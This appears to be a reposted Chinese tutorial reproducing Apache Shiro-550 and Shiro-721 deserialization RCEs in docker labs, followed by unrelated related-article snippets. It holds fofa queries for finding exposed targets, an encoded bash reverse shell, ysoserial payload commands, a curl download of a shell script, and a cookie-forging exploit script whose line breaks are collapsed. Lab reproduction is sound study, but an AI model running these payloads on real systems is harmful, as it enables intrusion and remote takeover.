Shiro漏洞復現

Shiro簡介

Apache Shiro是一種功能強大且易于使用的Java安全框架,它執行身份驗證、授權、
加密和會話管理,可用于保護任何應用程序的安全。
Shiro提供了應用程序安全性API來執行以下方面:
1.身份驗證:證明用戶身份,通常稱為用戶"登錄";
2.授權:訪問控制;
3.密碼術:保護或隱藏數據以防窺視;
4.會話管理:每個用戶的時間敏感狀態。

歷史漏洞

Shiro rememberMe反序列化遠程代碼執行漏洞 Apache Shiro <= 1.2.4
Shiro-721 rememberMe 反序列化遠程代碼執行漏洞 Apache Shiro <= 1.4.1

漏洞發現

Shiro組件發現
在訪問及登錄時抓包,如果響應頭 set-cookie 中顯示 rememberMe=deleteMe ,說
明使用了 Shiro 組件。

Shiro漏洞搜索

通過fofa、zoomeye、shodan這類平臺搜索相關特征來發現目標。
例如fofa的搜索關鍵詞:

header="rememberme=deleteMe"
header="shiroCookie"

漏洞檢測工具

https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/shiro-exploit

Shiro-550漏洞原理

原理:Apache Shiro 框架提供了記住密碼的功能( RememberMe ),關閉瀏覽器再次訪問
時無需再登錄即可訪問。用戶登錄成功后用戶信息會經過加密編碼后存儲在 cookie中。在 Cookie 讀取過程中有用 AES 對 Cookie 值解密的過程,對于 AES 這類對稱加密算法,一旦秘鑰泄露加密便形同虛設。若秘鑰可控,同時 Cookie 值是由攻擊者構造的惡意 Payload ,就可以將流程走通,觸發危險的 Java 反序列化,從而導致遠程命令執行漏洞。

shiro 默認使用了 CookieRememberMeManager ,其處理cookie的流程是:獲取rememberMe的cookie值 –> Base64解碼 –> AES解密 –> 反序列化 。但是AES加密的密鑰Key被硬編碼(密鑰初始就被定義好不能動態改變的)在代碼里,這就意味著每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者可以構造一個惡意的對象,并且對其序列化、AES加密、base64編碼后,作為 cookie 的rememberMe 字段發送。 Shiro 將 rememberMe進行解密并且反序列化,最終就造成了反序列化的RCE漏洞。

只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都可能會導致該漏洞的產生.硬編碼是將數據直接嵌入到程序或其他可執行對象的源代碼中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。

Shiro-550漏洞復現

docker靶場環境搭建

cd shiro/
ls
cd CVE-2016-4437
docker-compose up -d

在這里插入圖片描述
瀏覽器訪問靶場。
在這里插入圖片描述
使用burpsuite抓取登錄包。
在這里插入圖片描述
爆破key值。

python shiro_exploit.py -u http://171.16.1.106:8080/doLogin

在這里插入圖片描述
在這里插入圖片描述
爆破出來的key值為:kPH+bIxk5D2deZiIxcaaaA==

選擇一個端口進行監聽。

nc -lvvp 9999

在這里插入圖片描述
利用反序列化工具生成payload。

bash轉換鏈接:https://ares-x.com/tools/runtime-exec

在這里插入圖片描述
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzEuMTYuMS4xMDUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

在這里插入圖片描述
執行 shiro-exp.py 腳本構造生成 cookie

查看腳本中的參數值是否正確。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

在這里插入圖片描述

python shiro.py vps_ip:11111

在這里插入圖片描述
使用burpsuite修改數據包,將生成的remember復制進去。
在這里插入圖片描述
點擊send,返回監聽端查看是否反彈shell。
在這里插入圖片描述
成功反彈了shell。
也可以使用腳本的方法:
將反彈shell的命令寫入shell腳本中:
在這里插入圖片描述

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections4 “curl http://171.16.1.105/zsy.sh -o /tmp/zsy.sh”

之后操作跟上邊的一樣。

Shiro-721漏洞原理

Shiro rememberMe 反序列化遠程代碼執行漏洞
原理:由于 Apache Shiro cookie 中通過 AES-128-CBC 模式加密的 rememberMe 字段存在問題,用戶可通過 Padding Oracle 加密生成的攻擊代碼來構造惡意的rememberMe 字段,并重新請求網站,進行反序列化攻擊,最終導致任意代碼執行rememberMe cookie 通過 AES-128-CBC 模式加密,易受到 Padding Oracle 攻擊。可以通過結合有效的 rememberMe cookie 作為 Padding Oracle 攻擊的前綴,然后精?制作 rememberMe 來進?反序列化攻擊。Tip:在1.2.4版本后,shiro已經更換 AES-CBC 為 AES-GCM ,無法再通過 Padding
Oracle 遍歷 key 。

影響版本

Apache Shiro <= 1.4.1

Shiro-721漏洞復現

docker搭建靶場環境。
在這里插入圖片描述
訪問靶場地址。
在這里插入圖片描述
使用正確的用戶和密碼,勾選rememberMe,使用burp代理,獲取返回的rememberMe值。
在這里插入圖片描述
在這里插入圖片描述
使用DNSlog獲取臨時域名。
在這里插入圖片描述
使用ysoserial工具生成payload。

java -jar ysoserial.jar CommonsBeanutils1 "ping 1075l1.dnslog.cn" > payload.class

在這里插入圖片描述
生成的文件在運行該腳本的目錄下。

使用剛才burp獲取到的rememberMe值作為prefix,加載Payload,進行Padding Oracle攻擊

腳本鏈接:Github:https://github.com/wuppp/shiro_rce_exp

運行腳本:
python shiro_exp.py http://171.16.1.106:8888 [rememberMeCookie] payload.class

python2 shiro_exp.py http://171.16.1.106:8888/PHh1FbfiWuR/CRYs2Os5fmYJbPtYD4V55kWHl41dNdfFSzSgjU0b+Z8DHtem51EHoW6bXJvMDkB7mZYJqa9Mc3EP16OnF4Dt/IuGbrxjKf0OgOO/5Y+jyFJi1h2clJz+myysxb8WTc+xruezMJya8ykcePax3H8GOLJMS0ACO0r/g1sr0x0MYynxbCUMr3fiK8c3OWlsHSyTx0QERj01dzTV9MGW5+J8SGsItQPCpr0vfya/n3TC4NhVwbEj1uTWRj88whIL6dJODo1FLGzI+tR2wMXGvtGTVxSJJjAMvMsJpbEEsO0Vl1sdsIsllA8EWqCSbHuX/zFpCHkfdl7/CSE9OCy4gu68p6W2kTMTcr2OqMrdJN/dUbQmriznoTuVDf1OiacWeP3J/XlOA35CvrrZMsSQF7G9lial9Zqenc1mz+UCUcmk5cwkVh9qTUehpKaVwGO9i34ySLlVjrRTxg4mfa1ZwTKkKs39XZL4MwSHYh5/nr/jvqLKbHwkkuLh payload.class

在這里插入圖片描述
--------------------------------------------------中間需要很長時間(幾個小時)-------------------------------------------------------------

爆破成功,返回cookie。

再次訪問http://171.16.1.106:8888/,用burp抓包,添加剛才爆破出的remeberMe值。
在這里插入圖片描述
到http://www.dnslog.cn/查看,返回IP。
在這里插入圖片描述
說明ping命令執行成功。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/912660.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/912660.shtml
英文地址,請注明出處:http://en.pswp.cn/news/912660.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

VSCode 中使用 Google Test(GTest)框架測試

VSCode 中使用 Google Test&#xff08;GTest&#xff09;框架在 VSCode 中對 C 代碼進行測試的示例&#xff1a; 一、Unbutu x86使用gtest 環境配置 安裝 GTest &#xff1a;在 Ubuntu 系統中&#xff0c;可以通過命令sudo apt-get install libgtest-dev安裝 GTest 庫。對于…

【1.6 漫畫數據庫設計實戰 - 從零開始設計高性能數據庫】

1.6 漫畫數據庫設計實戰 - 從零開始設計高性能數據庫 &#x1f3af; 學習目標 掌握數據庫表結構設計原則理解字段類型選擇與優化學會雪花算法ID生成策略掌握索引設計與優化技巧了解分庫分表設計方案 &#x1f4d6; 故事開始 小明: “老王&#xff0c;我總是不知道怎么設計數…

OSPF虛擬鏈路術語一覽:快速掌握網絡路由

大家好&#xff0c;這里是G-LAB IT實驗室。今天帶大家了解一下OSPF的相關知識&#xff01; 01 OSPF虛擬鏈路術語大全 網絡架構中&#xff0c;OSPF&#xff08;開放式最短路徑優先&#xff09;是一種重要的路由協議。通過其鏈路狀態路由機制&#xff0c;OSPF能夠有效維護和更新…

oracle常用的函數(一) 之 to_char、to_date

文章目錄 前言to_char基本語法格式模型格式模型介紹無FM示例使用FM輸出貨幣負數輸出尖括號 將日期格式化將數字格式化為帶有貨幣符號和千位分隔符的格式總結 to_date語法語法示例 戳這里&#xff0c;第二彈 → oracle常用的函數&#xff08;二&#xff09; 之 nvl、decode、l…

數據庫服務器宕機的處理方法與實戰策略

在當今數字化時代,數據庫作為企業數據存儲與管理的核心,承載著業務運行的關鍵信息。一旦數據庫服務器宕機,將導致業務中斷、數據丟失等嚴重后果,甚至可能給企業帶來巨大的經濟損失和聲譽損害。因此,掌握一套系統、科學的數據庫服務器宕機處理方法尤為重要。本文將從應急響…

如何hack邊緣的kubelet修改Cgroup數值

之前做了一個VPA項目的需求&#xff0c;就是需要不重啟的方式修改容器的Cgroup的值已達到垂直擴縮容的目的&#xff0c;項目中核心的思路如下 上游下發要VPA的結果的值寫入到容器的Annotation里面Kubelet 感知到這個 annoation 的變化我們本地運行一個 Agent&#xff0c;里面運…

熟悉 PyCharm

界面 我們常用的就這個幾個地方&#xff1a; 常用配置 調整字體大小 Ctrl 滾輪調整字體大小 插件推薦 Indent Rainbow 該插件的作用在于能夠對于不同層級縮進的空格標注不同的顏色&#xff1a; 快捷鍵 快捷鍵的 pdf 下載鏈接&#xff1a; Windows 版&#xff1a;https:…

pytorch--模型訓練的一般流程

文章目錄 前言0、數據集準備1、數據集2、dataset3、model4、訓練模型 前言 在pytorch中模型訓練一般分為以下幾個步驟&#xff1a; 0、數據集準備 1、數據集讀取&#xff08;dataset模塊&#xff09; 2、數據集轉換為tensor&#xff08;dataloader模塊&#xff09; 3、定義模型…

智能合同管理實戰:基于區塊鏈的電子簽約技術實現

在數字經濟時代,傳統紙質合同簽署方式已難以滿足企業高效、安全、合規的業務需求。智能合同管理(Smart Contract Management)結合區塊鏈技術,正在重塑電子簽約流程,實現合同全生命周期的自動化、可追溯和防篡改。本文將深入探討基于區塊鏈的電子簽約技術實現,涵蓋核心架構…

設計模式精講 Day 22:模板方法模式(Template Method Pattern)

【設計模式精講 Day 22】模板方法模式&#xff08;Template Method Pattern&#xff09; 文章標簽 設計模式, 模板方法模式, Java開發, 面向對象設計, 軟件架構, 設計模式實戰, Java應用開發 文章簡述 模板方法模式是一種行為型設計模式&#xff0c;它通過定義一個算法的骨架…

如何在pytorch中使用tqdm:優雅實現訓練進度監控

文章目錄 為什么需要進度條&#xff1f;tqdm 簡介基礎用法示例深度學習中的實戰應用1. 數據加載進度監控2. 訓練循環增強版3. 驗證階段集成 高級技巧與最佳實踐1. 自定義進度條樣式2. 嵌套進度條&#xff08;多任務&#xff09;3. 分布式訓練支持4. 與日志系統集成 性能優化建議…

Linux中的xxd命令詳解

xxd 是一個 十六進制轉儲&#xff08;hex dump&#xff09;工具&#xff0c;通常用于將二進制文件轉換為十六進制格式&#xff0c;或者反向轉換&#xff08;十六進制→二進制&#xff09;。它是 vim 的一部分&#xff0c;但在大多數 Linux 系統&#xff08;如 Ubuntu&#xff0…

磐維數據庫panweidb3.1.0單節點多實例安裝

0 說明 業務科室提單需要在某臺主機上部署多個單機磐維數據庫&#xff0c;用于業務測試。以下內容展示如何在單節點安裝多個磐維數據庫實例。 1 部署環境準備 1.1 IP 地址及端口 instipport實例1192.168.131.1717700實例2192.168.131.1727700 在131.17上分別安裝兩個實例&…

轉錄組分析流程(三):功能富集分析

我們的教程主要是以一個具體的例子作為線索,通過對公共數據庫數據bulk-RNA-seq的挖掘,利用生物信息學分析來探索目標基因集作為某種疾病數據預后基因的潛能及其潛在分子機制,同時在單細胞水平分析(對scRNA-seq進行挖掘)預后基因的表達,了解細胞之間的通訊網絡,以期為該疾病…

全面掌握 tkinter:Python GUI 編程的入門與實戰指南

在自動化、工具開發、數據可視化等領域&#xff0c;圖形用戶界面&#xff08;GUI&#xff09;往往是提升用戶體驗的重要方式。作為 Python 官方內置的 GUI 庫&#xff0c;tkinter 以其輕量、跨平臺、易于學習的特性成為初學者和輕量級應用開發者首選。 本文將以深入淺出的方式…

TDH社區開發版安裝教程

&#xff08;注&#xff1a;本文章來源于星環官網安裝手冊&#xff09; 后面放置了視頻和安裝手冊連接 1、硬件及環境要求 Docker17及以上版本&#xff0c;支持Centos&#xff0c;Ubuntu等系統&#xff08;注&#xff1a;這里我使用CentOS-7版本&#xff0c;最佳版本推薦為7.…

Linux基本命令篇 —— grep命令

grep是Linux/Unix系統中一個非常強大的文本搜索工具&#xff0c;它的名字來源于"Global Regular Expression Print"&#xff08;全局正則表達式打印&#xff09;。grep命令用于在文件中搜索包含特定模式的行&#xff0c;并將匹配的行打印出來。 目錄 一、基本語法 二…

蒼穹外賣問題系列之 蒼穹外賣訂單詳情前端界面和網課給的不一樣

問題 如圖&#xff0c;我的前端界面和網課里面給的不一樣&#xff0c;沒有“申請退款”和一些其他的該有的東西。 原因分析 “合計”這一欄顯示undefined說明我們的總金額沒有輸入進去。可以看看訂單提交那塊的代碼&#xff0c;是否可以正確輸出。還有就是訂單詳細界面展示這…

CppCon 2018 學習:EMULATING THE NINTENDO 3DS

我們來逐個分析一下這個 組件交互模型 和 仿真 & 序列化 的關系&#xff0c;特別是主線程&#xff08;Main Thread&#xff09;與其他系統組件之間的交互。 1. Main Thread — simple (basically memcpy) --> GPU Main Thread&#xff08;主線程&#xff09;負責游戲的…

[Python 基礎課程]數字

數字 數字數據類型用于存儲數值&#xff0c;比如整數、小數等。數據類型是不允許改變的&#xff0c;這就意味著如果改變數字數據類型的值&#xff0c;將重新分配內存空間。 創建數字類型的變量&#xff1a; var1 1 var2 10創建完變量后&#xff0c;如果想廢棄掉這個變量&a…